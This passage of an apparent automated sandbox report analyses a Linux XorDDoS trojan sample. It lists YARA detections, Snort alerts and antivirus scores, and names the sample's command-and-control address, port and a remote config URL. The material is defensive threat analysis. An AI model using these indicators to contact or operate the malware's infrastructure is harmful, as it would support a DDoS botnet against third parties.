Process Memory Space: Di1p3oLnDb.elf PID: 6267	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x2114:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x21d5:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6275	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6275	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x211a:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x21db:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6278	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6278	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x881:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x942:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6282	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6282	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0xba0:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0xc61:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6285	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6285	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x2114:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x21d5:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6288	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6288	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0xc69:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0xd2a:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6294	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6294	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x881:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x942:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6296	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6296	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x188b:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x194c:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6299	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6299	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x1041:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x1102:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6302	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6302	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x1df5:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x1eb6:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6304	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6304	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x110a:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x11cb:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6311	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6311	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x881:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x942:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6314	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6314	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x1050:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x1111:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6316	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6316	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x1110:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x11d1:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6319	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6319	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x1d2c:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x1ded:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6321	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6321	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0xc69:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0xd2a:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6328	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6328	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x881:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x942:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6331	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6331	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x94a:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0xa0b:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6333	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6333	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x2053:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x2114:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6336	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6336	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x188b:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x194c:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6339	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6339	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x2051:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x2112:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6345	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6345	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x94a:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0xa0b:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6348	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6348	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x881:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x942:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6351	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6351	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x1dfb:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x1ebc:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6353	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6353	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x2114:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x21d5:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6357	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6357	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0xc69:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0xd2a:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6365	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6365	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0xba0:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0xc61:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6368	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6368	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x2114:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x21d5:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6370	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6370	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x1dfc:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x1ebd:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6373	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6373	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x188b:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x194c:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6375	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6375	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x1c73:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x1d34:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6384	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6384	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x1c73:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x1d34:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6387	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6387	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0xba0:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0xc61:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6389	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6389	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x211a:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x21db:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6393	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6393	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x881:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x942:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6395	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6395	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x881:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x942:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6401	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6401	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x211a:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x21db:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6404	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6404	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0xc69:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0xd2a:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6407	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6407	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x211b:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x21dc:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6409	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6409	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x188b:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x194c:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6412	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6412	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x1c73:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x1d34:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6418	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6418	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x881:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x942:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6421	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6421	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x1c73:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x1d34:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6423	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6423	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x204b:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x210c:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6426	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6426	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0xba0:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0xc61:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6429	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6429	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x881:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x942:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6435	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6435	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x1041:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x1102:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6438	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6438	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x188b:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x194c:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6440	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6440	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x1d2c:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x1ded:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6443	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6443	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x188b:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x194c:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6446	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6446	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x211a:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x21db:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6455	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6455	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x1c73:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x1d34:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6458	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6458	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x881:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x942:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6460	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6460	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0xba0:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0xc61:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Process Memory Space: Di1p3oLnDb.elf PID: 6463	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
Process Memory Space: Di1p3oLnDb.elf PID: 6463	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x2128:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73 0x21e9:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
Click to see the 469 entries

Snort Signatures

ET TROJAN Likely Linux/Xorddos.F DDoS Attack Participation (aa.hostasa.org) - Source IP: 192.168.2.23 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.238.8.8.838194532021326 10/05/22-13:40:01.525989
SID:	2021326
Source Port:	38194
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Likely Linux/Xorddos.F DDoS Attack Participation (aa.hostasa.org) - Source IP: 192.168.2.23 - Destination IP: 8.8.4.4

Timestamp:	192.168.2.238.8.4.454576532021326 10/05/22-13:40:01.546076
SID:	2021326
Source Port:	54576
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Likely Linux/Xorddos.F DDoS Attack Participation (aa.hostasa.org) - Source IP: 192.168.2.23 - Destination IP: 1.1.1.1

Timestamp:	192.168.2.231.1.1.159699532021326 10/05/22-13:40:01.563948
SID:	2021326
Source Port:	59699
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN DDoS.XOR Checkin - Source IP: 192.168.2.23 - Destination IP: 79.137.1.133

Timestamp:	192.168.2.2379.137.1.1333916215232020381 10/05/22-13:40:01.726550
SID:	2020381
Source Port:	39162
Destination Port:	1523
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Di1p3oLnDb.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: Di1p3oLnDb.elf	ReversingLabs: Detection: 75%
Source: Di1p3oLnDb.elf	Virustotal: Detection: 64%	Perma Link
Source: Di1p3oLnDb.elf	Metadefender: Detection: 61%	Perma Link

Antivirus detection for dropped file

Source: /usr/bin/cbsypxwvhg	Avira: detection malicious, Label: LINUX/Xorddos.vcwea
Source: /usr/lib/libudev.so	Avira: detection malicious, Label: LINUX/Xorddos.dkabc

Machine Learning detection for dropped file

Source: /usr/bin/thgxtutpuw	Joe Sandbox ML: detected
Source: /usr/bin/cbsypxwvhg	Joe Sandbox ML: detected
Source: /usr/bin/xmnjiktnas	Joe Sandbox ML: detected
Source: /usr/bin/qhknhggmjf	Joe Sandbox ML: detected
Source: /usr/bin/koygrrjkon	Joe Sandbox ML: detected
Source: /usr/bin/zzdslzxygn	Joe Sandbox ML: detected
Source: /usr/bin/uvilsmwwhk	Joe Sandbox ML: detected
Source: /usr/bin/bvyxmkkmbp	Joe Sandbox ML: detected
Source: /usr/bin/ltaanxttrs	Joe Sandbox ML: detected
Source: /usr/bin/dwfhzeeizt	Joe Sandbox ML: detected
Source: /usr/bin/gwqnqvffue	Joe Sandbox ML: detected
Source: /usr/bin/dvisuvnfsi	Joe Sandbox ML: detected
Source: /usr/lib/libudev.so	Joe Sandbox ML: detected
Source: /usr/bin/hszflciagy	Joe Sandbox ML: detected
Source: /usr/bin/ilrbozcctp	Joe Sandbox ML: detected
Source: /usr/bin/kihierzlde	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Di1p3oLnDb.elf

Joe Sandbox ML: detected

Source: /tmp/Di1p3oLnDb.elf (PID: 6225)

Reads CPU info from proc file: /proc/cpuinfo

Jump to behavior

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2021326 ET TROJAN Likely Linux/Xorddos.F DDoS Attack Participation (aa.hostasa.org) 192.168.2.23:38194 -> 8.8.8.8:53
Source: Traffic	Snort IDS: 2021326 ET TROJAN Likely Linux/Xorddos.F DDoS Attack Participation (aa.hostasa.org) 192.168.2.23:54576 -> 8.8.4.4:53
Source: Traffic	Snort IDS: 2021326 ET TROJAN Likely Linux/Xorddos.F DDoS Attack Participation (aa.hostasa.org) 192.168.2.23:59699 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2020381 ET TROJAN DDoS.XOR Checkin 192.168.2.23:39162 -> 79.137.1.133:1523

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Source: global traffic

TCP traffic: 192.168.2.23:39162 -> 79.137.1.133:1523

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: Di1p3oLnDb.elf, 6224.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6226.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6227.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6228.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6257.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6259.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6262.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6265.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6267.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6275.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6278.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6282.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6285.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6288.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6294.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6296.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6299.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6302.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6304.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6311.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6314.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp	String found in binary or memory: http://aa.hostasa.org/config.rar
Source: Di1p3oLnDb.elf, 6224.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6226.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6227.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6228.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6257.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6259.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6262.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6265.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6267.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6275.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6278.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6282.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6285.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6288.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, Di1p3oLnDb.elf, 6294.1.00000000ff9ae000.00000000ff9cf000.rw-.sdmp, 